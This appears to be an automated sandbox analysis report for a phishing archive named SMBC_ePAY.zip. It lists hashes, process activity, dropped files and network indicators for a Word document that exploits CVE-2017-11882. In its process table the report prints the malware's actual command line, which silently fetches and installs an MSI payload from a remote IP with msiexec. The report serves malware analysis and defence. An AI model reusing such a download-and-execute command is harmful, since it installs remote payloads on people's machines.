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File name:

SMBC_ePAY.zip

Full analysis: https://app.any.run/tasks/2df36d44-d186-4297-9583-50157a2526e5
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: November 15, 2018, 14:49:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
trojan
exe-to-msi
loader
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

8535E2B0613E8E5551021AF70200DBD4

SHA1:

7ED2AB108E8DDD204BD8CF58B824103A0471CC53

SHA256:

4730AC298C1547EDB5540A92F111B546C47FA5C0825999FAB67B6BF178639EA0

SSDEEP:

384:qca7OAdVOLrr1TAnpGu+BWHWwZGhzIEHvs9Wdvy30cn/JISmQM3jf7:q57HdVOLrr6cdBVzIss9WdBs/Jvmn3P

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2200)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 2860)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3760)
    • Downloads executable files from IP

      • msiexec.exe (PID: 3760)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2200)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3760)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3760)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2052)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2052)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2200)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3760)
      • MSID67F.tmp (PID: 2652)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3760)
    • Application was dropped or rewritten from another process

      • MSID67F.tmp (PID: 2496)
      • MSID67F.tmp (PID: 2652)
    • Application launched itself

      • MSID67F.tmp (PID: 2652)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2018:11:15 16:31:26
ZipCRC: 0x3dca99f1
ZipCompressedSize: 18398
ZipUncompressedSize: 271772
ZipFileName: SMBC_ePAY.doc
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
8
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winrar.exe no specs winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe msid67f.tmp no specs msid67f.tmp no specs

Process information

PID
CMD
Path
Indicators
Parent process
3036"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SMBC_ePAY.zip"C:\Program Files\WinRAR\WinRAR.exeexplorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2052"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\SMBC_ePAY.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2200"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2860cmd.exe & /C CD C: & msiexec.exe /i http://34.244.180.39/mb.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3204msiexec.exe /i http://34.244.180.39/mb.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3760C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2652"C:\Windows\Installer\MSID67F.tmp"C:\Windows\Installer\MSID67F.tmpmsiexec.exe
User:
admin
Company:
interradiating
Integrity Level:
MEDIUM
Description:
ansation
Exit code:
0
Version:
2.04.0009
2496C:\Windows\Installer\MSID67F.tmp"C:\Windows\Installer\MSID67F.tmpMSID67F.tmp
User:
admin
Company:
interradiating
Integrity Level:
MEDIUM
Description:
ansation
Version:
2.04.0009
Total events
1 905
Read events
1 187
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
11
Unknown types
7

Dropped files

PID
Process
Filename
Type
3036WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3036.38985\SMBC_ePAY.doc
MD5:
SHA256:
2052WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC2F4.tmp.cvr
MD5:
SHA256:
3760msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFF7FC4F51D0848708.TMP
MD5:
SHA256:
3760msiexec.exeC:\Config.Msi\10d507.rbs
MD5:
SHA256:
3760msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFD30E57ABC88C3CEE.TMP
MD5:
SHA256:
2052WINWORD.EXEC:\Users\admin\Desktop\~$BC_ePAY.docpgc
MD5:28B5669877F3EAE5D061EF2B747FFB2E
SHA256:05438AA0448F96E1EFC3D25327C5B32F4E1BE36B591F390CAA7D1E7C5069AE31
2052WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:8F7049B3CCF6F9803911CB6A4E442E53
SHA256:BA4E09C79339A917C04724C63D326AA33F6EC488B332C1B4B484BE709097CBE6
3760msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:E442E82CA56562D443FDC3A0A0521011
SHA256:67F282531F411914704377A3319A120F3679CC7A3C39B69625CB8299D03D1789
3760msiexec.exeC:\Windows\Installer\MSID593.tmpbinary
MD5:B510A9FDA01E6A1E4B763BFC4680147D
SHA256:EAF6D432A0FFEA36F583692878869B66DCFC7A39DCBB7FD234A421636A023D4F
3760msiexec.exeC:\Windows\Installer\10d506.ipibinary
MD5:8911F13A80A1C4C57A7C98E6693DCB16
SHA256:0BFDE1C7E3DF114A55A8318FD8F9E3B39AC029A34932BE815978CF956E7357C6
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3760
msiexec.exe
GET
200
34.244.180.39:80
http://34.244.180.39/mb.msi
IE
executable
1.27 Mb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3760
msiexec.exe
34.244.180.39:80
Amazon.com, Inc.
IE
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
3760
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3760
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
3760
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
3760
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1 ETPRO signatures available at the full report
No debug info